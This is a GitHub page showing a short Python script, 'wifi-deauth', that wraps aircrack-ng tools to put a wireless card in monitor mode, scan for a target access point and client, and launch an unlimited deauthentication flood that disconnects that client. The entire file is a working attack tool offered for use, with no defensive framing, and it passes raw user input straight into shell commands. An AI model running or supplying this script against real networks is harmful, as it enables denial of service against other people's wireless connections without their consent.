-
Notifications
You must be signed in to change notification settings - Fork 0
/
wifi-deauth
18 lines (18 loc) · 852 Bytes
/
wifi-deauth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/python3
import os
import subprocess
os.system("iwconfig")
interface=input("\n\nInterface?\n")
os.system("sudo airmon-ng start "+interface)
#subprocess.run(["sudo" , "airodump-ng", interface ], timeout=1)
interface=interface+"mon"
os.system("sudo timeout -k 10 9s airodump-ng "+interface+" < /dev/null")
AP_mac=input("AP MAC?\n")
channel=input("\nTarget AP channel?")
os.system("sudo airmon-ng start "+interface+""+channel)
#subprocess.run(["sudo" , "airodump-ng", "--bssid", AP_mac, interface ], timeout=10)
os.system("sudo timeout -k 20 15s airodump-ng --bssid "+AP_mac+" "+interface+" < /dev/null")
client_mac=input("Client Mac\n")
os.system("sudo airmon-ng start "+interface+""+channel)
os.system("sudo aireplay-ng --deauth 0 -a "+AP_mac+" -c "+client_mac+" "+interface+" --ignore-negative-one -D")
os.system("sudo airmon-ng stop"+interface)